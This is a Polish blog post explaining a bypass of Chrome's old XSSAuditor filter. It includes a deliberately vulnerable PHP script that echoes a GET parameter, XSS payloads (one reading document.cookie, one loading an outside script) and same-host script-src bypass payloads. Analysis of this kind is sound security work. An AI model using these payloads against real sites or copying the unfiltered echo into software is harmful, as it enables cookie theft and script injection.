Chrome i XSSAuditor

Słowem wstępu

Jakiś czas temu zastanawiałem się, jak ominąć zabezpieczenie przed reflected xss'ami w przeglądarce, z której korzystam na codzień - czyli Google Chrome (22.0.1229.79, Linux) Po czasie znalazłem pewien sposób - więc zgłosiłem błąd. Jak się okazuje, takie,a nie inne działanie było zamierzone. Moje zgłoszenie zostało zamknięte - zresztą słusznie, ponieważ w kodzie XSSAuditora znaleźć można taki fragment (a ja do kodu - przyznam się bez bicia - nawet nie zajrzałem): 

bool XSSAuditor::isLikelySafeResource(const String& url)

{

    ...

    // If the resource is loaded from the same host as the enclosing page, it's

    // probably not an XSS attack, so we reduce false positives by allowing the

    // request, ignoring scheme and port considerations. If the resource has a

    // query string, we're more suspicious, however, because that's pretty rare

    // and the attacker might be able to trick a server-side script into doing

    // something dangerous with the query string.  

    ...

}

Zatem - biorąc pod uwagę powyższe, sposób o którym w szczegółach napiszę niżej, faktycznie przeglądarka uzna za bezpieczny.

O co chodzi?

Zabezpieczenie przed atakami typu XSS w Google Chrome polega na tym, że jeżeli nasz request (GET / POST) zawiera kod javascript, który przeglądarka ma potem wykonać (czyli zwrócony content zawiera tenże kod)... to go nie wykona ;) Weźmy pod lupę taki skrypt PHP:

<?php
echo "Bla, bla, bla<br>";
echo $_GET['a'];
?>

Czarno na białym widać co tu się święci ;-) Dla jasności, nasz skrypt znajduje się - przykładowo - pod adresem http://myhostname/~zoczus/inc.php. Umieszczając w parametrze GET takie wartości, przeglądarka je zablokuje:

• <script>alert('EVIL');</script>
• <script src="http://some.otherhost/alert.js"></script>
• <img src="a" onerror="alert(document.cookie)">
• <object width='400' height='400' data='data:text/html;base64,PHNjcmlwdD5hbGVydCgnS2Jvb20nKTs8L3NjcmlwdD4K'></object>

ALE, gdy zrobimy tak:

• <script src="http//myhostname/TEST.JS">alert("I won't be executed");</script>
• <script src="ftp://myhostname/alert.txt">alert("neither me");</script>

...to skrypt TEST.JS / alert.txt wykona się, a to co w tag'ach script - nie. To tyle. Nasuwa się szalenie prosty wniosek z tych całych rozmyśleń - miejsc, w których możemy taki atak wykorzystać jest niewiele. Zatem jeżeli na stronie mamy możliwość upload'u pliku i dostępu do jego zawartości lub force-download z serwera - możemy to wykorzystać. Z tego co sprawdziłem, przekazanie parametru GET w formie http://myhostname/test.php?param=value blokuje wykonanie, ale gdy programista korzysta z  mod_rewrite i odnośnik będzie miał na przykład taką formę: http://myhostname/test/param/value - skrypt się wykona. Jeżeli w nagłówku odpowiedzi dostajemy header Location, który możemy kontrolować -  to nawet jeżeli nasz skrypt jest na zupełnie innym zasobie - wykona się. Jeżeli na tym samym hoście znajduje się anonimowy serwer ftp z możliwością zapisu - możemy to wykorzystać. Protokół oraz port nie mają znaczenia - znaczenie ma wyłącznie host (subdomeny odpadają). Myślę, że wszystko jest jasne - jeśli macie inne ciekawe wariacje na ominięcie XSSAuditora, na przykład z wykorzystaniem innych protokołów - śmiało udzielajcie się w komentarzach. :) 

Co robić?

Filtrować - to programiści. Użytkownicy - zwracać uwagę na to w co klikają. :)